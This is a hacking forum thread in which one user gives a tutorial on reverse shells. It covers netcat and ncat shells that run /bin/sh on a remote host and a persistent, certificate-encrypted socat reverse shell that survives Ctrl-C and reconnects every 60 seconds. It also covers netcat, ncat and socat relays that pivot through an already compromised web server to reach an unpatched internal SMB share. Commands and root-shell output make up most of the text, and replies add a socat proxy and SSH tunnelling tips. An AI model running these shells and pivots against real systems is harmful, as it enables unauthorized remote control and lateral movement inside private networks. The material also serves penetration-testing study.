Advanced server ssl shell shoveling AND "Gender-Bender"

[vvpalin]

Ok we all know what a reverse shell is rite? .. If you don't go play a video game or something, i hear pokemon is pretty cool and stuffs.

So a basic shell shovel goes like this.

nc 192.168.1.100 4444 -e /bin/sh

That is FAR from secure in any way, shape, or form. However fydoor of nmap released a wonderful little tool called ncat, its basically the 2009 version of nc. Anyways one of its many features is ssl. So rather than the above command we can do something like so.

ncat --ssl 192.168.1.100 4444 -c /bin/sh

Sweet your thinking, now i can use that. STOP back the f*ck up. All i or anyone else has to do is mitm you because we have the exact same certs. Even if you create your own and specify the --ssl-trustfile it looks for OS certs ... soooo not cool

Low and behold after many a nights with nc, ncat, cryptcat, and a few others i came across something so powerfull it will make your head spin. Allow myself to introduce ... um mysyself? Heh no .. have a fine look at socat, now ill warn you before i say anything else. Socat is so advanced and comes with so many options and switches that i still refer to the man page just about every time i use it. First before we do anything else we are going to generate some certificates to use.

root@ph33r:~# mkdir certs
root@ph33r:~# cd certs
root@ph33r:~/certs# openssl genrsa -out server.key 2048
Generating RSA private key, 2048 bit long modulus
..........+++
...........+++
e is 65537 (0x10001)
root@ph33r:~/certs# openssl req -new -key server.key -x509 -days 365 -out server.crt
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:
Email Address []:
root@ph33r:~/certs# cat server.key server.crt > server.pem
root@ph33r:~/certs# chmod 600 server.key server.pem
root@ph33r:~/certs#

Noticed how i left all the fields blank?? You dont need to input anything for your own personal certs.

We also need to do the exact same thing for the client certs we are going to use so just switch the names around like so.

openssl genrsa -out client.key 2048
openssl req -new -key client.key -x509 -days 365 -out client.crt
cat client.key client.crt > client.pem
chmod 600 client.key client.pem

Dont be a damn fool and not chmod them on whatever box you will be using

Now then its rather simple

copy server.pem and client.crt to the server - "sender"
and
copy server.crt and client.pem to the client - "receive"

Let me quickly say you can just cat them into your file on whatever box, there not anything special just open them with a text editor and find out. Now lets go about setting up a reverse shell. Pay attention because this is where it gets tricky.

First we want to set up the listener so lets do that real fast.

root@ph33r:~/certs# socat - ssl-l:4444,cert=client.pem,cafile=server.crt,verify=1

Ill explain it all in just a moment after we have our first connect so bare with me.

Now on our "server" we do this

root@fookd:~# socat ssl:12.120.55.8:4444,cert=server.pem,cafile=client .crt exec:"/bin/sh"

Back on our client we are NOT going to notice anything happened at all, but give it this and with any luck...

root@ph33r:~/certs# socat - ssl-l:4444,cert=client.pem,cafile=server.crt,verify=1
id
uid=0(root) gid=0(root) groups=0(root)

w00t we have a very very nice secure shell now and can do almost anything

Ok still with me?

Lets break all this down a little first before we keep going. Did you notice on our "client" how directly after we typed socat there was a "-"? In socat the "-" stands for stdio or standard input output. That basically means just read whatever we type and bass it to the ssl-l. Notice the -l? that stands for listen. You really should be reading the man page by now but ill explain a little more. How many of you have ever used netcat like this "nc -lp 4444 | nc 192.168.1.1 9999" socat works along the same lines, in that it always needs 2 addresses, or 2 things to do. So in the server command if you notice there was a space before exec:"/bin/sh". Starting to get the picture now? There is one other thing i want to mention before moving on. In the above piped netcat command data can only travel one way ---> this way. With socat data can travel each way <--> you will see what im talking about later on but keep that in mind.

Lets improve one our secure shell a little, as if our listener goes down or isnt up then we are screwed. Also wouldn't it be nice if we could have it remember our commands so we can type up if we want to repeat something. All are possible with the mighty socat

server

root@fookd:~# socat ssl:12.120.55.8:443,cert=server.pem,cafile=client. crt,fork,forever,intervall=60,ignoreeof,verify=1,s ourceport=15541 exec:"/bin/sh" &
root@fookd:~#

client

root@ph33r:~/certs# socat -d -d READLINE,history=history.txt,append ssl-l:443,cert=client.pem,cafile=server.crt,verify=1,r euseaddr
2009/10/28 23:46:36 socat[13911] N using readline on stdin for reading and stdio for writing
2009/10/28 23:46:36 socat[13911] N listening on AF=2 0.0.0.0:443
2009/10/28 23:47:23 socat[13911] N accepting connection from AF=2 12.120.55.8:15541 on AF=2 10.10.10.10:443
2009/10/28 23:47:23 socat[13911] N SSL connection using AES256-SHA
2009/10/28 23:47:23 socat[13911] N starting data transfer loop with FDs [0,0] and [5,5]
id
uid=0(root) gid=0(root) groups=0(root)

Ok first .. if you noticed it ... dont say it, but a little explanation on both commands quickly before i move on. On the server due to the "forever,intervall=60" will let us always get a shell and with ignoreeof if we cntrl+c out if it, its not going to die .. we also changed the source port .. very handy.

On the client, you probably noticed all the extra info we have. That is because of the -d -d .. that is basically the same thing as - vv in ncat or nc. We then used readline, and setup a history file, so now we can just press up to recall whatever commands we want. We also used reuseaddr so if we kill the connection we don't have to wait for our box to release the socket before we can reuse it.

There is TONS more we can do, and i have gotten pretty damn crazy with it lately but i want to move on so start reading that man page if you want to improve .. atho feel free to post your commands if you like as im always looking for something new.

Gender Benders = next post, and this will be edited.

[vvpalin]

Ok wtf is a gender-bender you ask, very simple really. Think of it like so .. you have 3 boxes. Box1 is you, Box2-server is any kind of box with a Internet IP but for this lets say its a webserver that is duel homed "having 2 nic cards" Box3 is a box thats behind the firewall that Box2-server is connected to. Think of it like so...

## YOU ## ------------## SERVER ##------------## INTERNAL##
11.11.11.11 --------> 222.222.222.222----------> 192.168.11.111
----------------------------## FIREWALL ##---------------------------------

Get the picture?

Now lets say for a moment that the server has a firewall on both sides, meaning we cant open a port whatsoever. However we have already exploited the Apache server and gained ourself root access. With a little scanning we found out that the internal host is running a unpatched smb share. So how are we going to hit it?

Well one would think you could set up a netcat pipe and relay all the traffic, but remember in the post above i told you netcat can only be pipped one way --->

We could solve this by doing something like so.

You

mknod backpipe1 p
nc -nvlp 445 0<backpipe1 | nc -nvlp 5555 | tee backpipe1

Server

mknod backpipe2 p
nc -nv 192.168.11.111 445 0<backpipe2 | nc -nv 11.11.11.11 5555 | tee backpipe2

The above command with just create a FIFO "first in first out" pipe and enable us to read and write data backwards between the | <---

Pretty cool no? .. But there is also another way to do it if you have ncat thats even shorter than that.


You

ncat -l 5555 --sh-exec "ncat -l 445"

Server

ncat 11.11.11.11 5555 --sh-exec "ncat 192.168.11.111 445"

lol i just noticed my colors look like Christmas, but anyways hopefully it helps clarify things.

Now while all of that is super cool and all, and we can also use ncat's --ssl function, what happens if these are not internet IP's we are dealing with, what if we are just hopping around in a lan environment? What im trying to get at is that its not very secure. Thats why i found the socat method, and actually once you get the hang of how it works "man page NOW..subliminal" its actually fairly easy and we have allot more options.

To Be Continued ...

[vvpalin]

reserved until tomorrow or day after...

[Isohump]

Ok we all know what a reverse shell is rite? .. If you don't go play a video game or something, i hear pokemon is pretty cool and stuffs.

LMAO

GREAT job you just clarified so much in such a short time keep up the good work.

[Gitsnik]

Good writeups so far

Originally Posted by vvpalin

To Be Continued ...

Hopefully by pointing out that socat trumps ncat in ease and simplicity:

socat TCP-LISTEN:8080,fork TCP:192.168.1.42:3389

Not only is it easier (though to be fair learning the syntax may take a bit), it acts like a proper TCP proxy, and does not create new program instances (execution time is minutely faster).

You can also do all of this with SSH if you have a host that accepts tcp forwarding - my personal favourite is using ssh -R and keys to tunnel services *back* from behind the firewall so I can access them locally without having to be able to get to an SSH server on the inside.

[wyze]

Bravo dude, your HOWTOs are getting cooler by the day

[vvpalin]

Originally Posted by Gitsnik

You can also do all of this with SSH if you have a host that accepts tcp forwarding - my personal favourite is using ssh -R and keys to tunnel services *back* from behind the firewall so I can access them locally without having to be able to get to an SSH server on the inside.

One MASSIVE ssh paper is in the works hopefully by the end of this weekend it should be all squared away. Haven't really decided what im going to do with it tho once im finished heh.